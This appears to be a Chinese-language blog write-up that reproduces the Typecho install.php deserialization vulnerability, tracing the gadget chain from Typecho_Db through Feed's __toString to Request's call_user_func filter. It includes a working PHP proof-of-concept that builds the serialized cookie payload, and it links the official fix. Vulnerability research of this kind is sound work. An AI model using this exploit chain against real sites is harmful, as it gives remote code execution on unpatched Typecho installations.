Typecho反序列化漏洞复现
看到这个东东,几年前爆出了前台的反序列化漏洞,抱着新发现的态度去学习一下,虽然啥都没发现
typecho简介
类的自动加载机制
当程序试图创建一个没有导入的对象的时候,程序的自动加载机制,会去找到这个文件并包含进来,看了下和框架有点类似
初始化的时候会调用,spl_autoload_register方法

调用__autoload方法,进行加载

漏洞分析
漏洞触发点
首先看到拉跨的判断是否安装的方式,只需要GET传参中携带finish参数即可,referer头为当前域名或ip时,即可绕过exit判断,进入程序逻辑

全文共存在两处unserialize函数,第一处当存在finish传参时,第二处时存在start传参时,
当存在finish传参时,第二处的判断逻辑是进不去的,漏洞的修复,删除了第一处,第二处存在,但是绕不过去判断安装的逻辑,需要注入或者文件删除漏洞支持,故算是安全了趴。
接下来看第一处的代码
当存在config.inc.phpqie存在__typecho_config参数时即可进入else逻辑

接下来根基cookie的get方法,可以看到参数可控,可以通过post,或者cookie获取,参数名为前缀+__typecho_config

反序列化利用链
程序中不存在__wakeup()方法
并且__destruct()方法均不可利用
跟进Typecho_Db类,在__construct()方法中存在字符串拼接
且$adapterName可控

所以可以查找程序中的__toString()方法
在Feed.php的__toString方法中存在类成员变量的调用

此时可以去找一处__get()方法
Request.php的__get()方法调用如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public function __get($key) { return $this->get($key); } ... ... public function get($key, $default = NULL) { switch (true) { case isset($this->_params[$key]): $value = $this->_params[$key]; break; case isset(self::$_httpParams[$key]): $value = self::$_httpParams[$key]; break; default: $value = $default; break; }
$value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); } ... ... private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); }
$this->_filter = array(); }
return $value; }
|
可以看到存在array_map和call_user_func方法,且参数两个参数完全可控,到这里已经可以完成命令执行了,且在低版本的php中可以完成代码执行
可以在向下找个新的终点
exp编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class Typecho_Request { private $_params = array(); private $_filter = array();
public function __construct() { $this->_params['screenName'] = 1; $this->_filter[0] = 'phpinfo'; } } class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_items = array(); private $_type; function __construct() { $this->_type = self::RSS2; $_item['author'] = new Typecho_Request(); $this->_items[0] = $_item; } } $exp = new Typecho_Feed(); $a = array( 'adapter'=>$exp, 'prefix' =>'typecho_' ); echo urlencode(base64_encode(serialize($a)));
?>
|
漏洞修复
官方修复:
https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#
扩展分析
以下终点不可用
全局搜索call_user_func_array

向上分析,可以看到method完全可控,就是就算完全可控还是需要继续向下找终点,因为这个方法只可以调用程序中的类和方法,查找call方法的调用,multiCall方法正好需要一个数组型参数,可以通过前面的array_map调用

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public function multiCall($methodcalls) { $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; }
|
但是但是但是,在Request类的get方法中的判断,让我们无法传入数组参数,GG

…
…
…
或者,HyperDown.php的call方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function call($type, $value) { if (empty($this->_hooks[$type])) { return $value; }
$args = func_get_args(); $args = array_slice($args, 1);
foreach ($this->_hooks[$type] as $callback) { $value = call_user_func_array($callback, $args); $args[0] = $value; }
return $value; }
|
查看调用
选择optimizeBlocks方法

但是参数不可控



再比如,中间节点,Typecho_Validate的run方法,都需要传参为数组,但是前面先知了数组

END
后续想法,可以通过get方法、getarray方法、filter方法以及其他类得call_user_func函数去构造,当然看上去挺麻烦